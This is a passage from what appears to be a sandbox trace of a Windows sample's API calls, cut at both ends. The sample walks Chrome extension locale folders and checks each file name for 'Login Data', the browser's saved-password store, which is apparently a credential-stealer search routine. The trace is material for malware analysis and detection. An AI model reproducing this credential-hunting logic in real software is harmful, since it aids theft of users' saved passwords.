Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.282] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.282] lstrlenA (lpString="es_419") returned 6 [0079.282] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.282] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0079.282] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned 128 [0079.282] lstrlenA (lpString="\\*.*") returned 4 [0079.282] lstrcpyA (in: lpString1=0x6525c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419" [0079.282] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*" [0079.282] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.282] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.282] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.282] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.282] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.282] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.282] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.282] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.282] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.283] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.283] lstrcmpiA (lpString1=".", lpString2="et") returned -1 [0079.283] lstrcmpiA (lpString1="..", lpString2="et") returned -1 [0079.283] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.283] lstrlenA (lpString="\\") returned 1 [0079.283] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.283] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.283] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.283] lstrlenA (lpString="et") returned 2 [0079.283] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.283] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0079.283] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned 124 [0079.283] lstrlenA (lpString="\\*.*") returned 4 [0079.283] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et" [0079.283] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*" [0079.283] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.283] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.283] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.283] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.283] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.283] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.283] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.283] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.283] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.283] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.284] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0079.284] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0079.284] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.284] lstrlenA (lpString="\\") returned 1 [0079.284] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.284] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.284] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.284] lstrlenA (lpString="fi") returned 2 [0079.284] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.284] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0079.284] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned 124 [0079.284] lstrlenA (lpString="\\*.*") returned 4 [0079.284] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi" [0079.284] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*" [0079.284] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.284] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.284] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.284] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.284] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.284] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.284] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.284] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.284] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.284] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.284] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0079.284] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0079.284] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.284] lstrlenA (lpString="\\") returned 1 [0079.285] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.285] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.285] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.285] lstrlenA (lpString="fil") returned 3 [0079.285] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.285] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0079.285] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 125 [0079.285] lstrlenA (lpString="\\*.*") returned 4 [0079.285] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0079.285] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*" [0079.285] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.285] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.285] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.285] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.285] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.285] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.285] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.285] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.285] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.285] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.285] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0079.285] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0079.285] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.285] lstrlenA (lpString="\\") returned 1 [0079.285] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.285] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.286] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.286] lstrlenA (lpString="fr") returned 2 [0079.286] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.286] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0079.286] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 124 [0079.286] lstrlenA (lpString="\\*.*") returned 4 [0079.286] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0079.286] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*" [0079.286] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0079.286] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.286] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.286] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.286] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.286] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0079.286] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0079.286] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0079.286] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.286] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0079.287] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0079.287] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0079.287] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0079.287] lstrlenA (lpString="\\") returned 1 [0079.287] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0079.287] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0079.287] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0079.287] lstrlenA (lpString="he") returned 2 [0079.287] lstrcpyA (in: lpString1=0x6524b8, 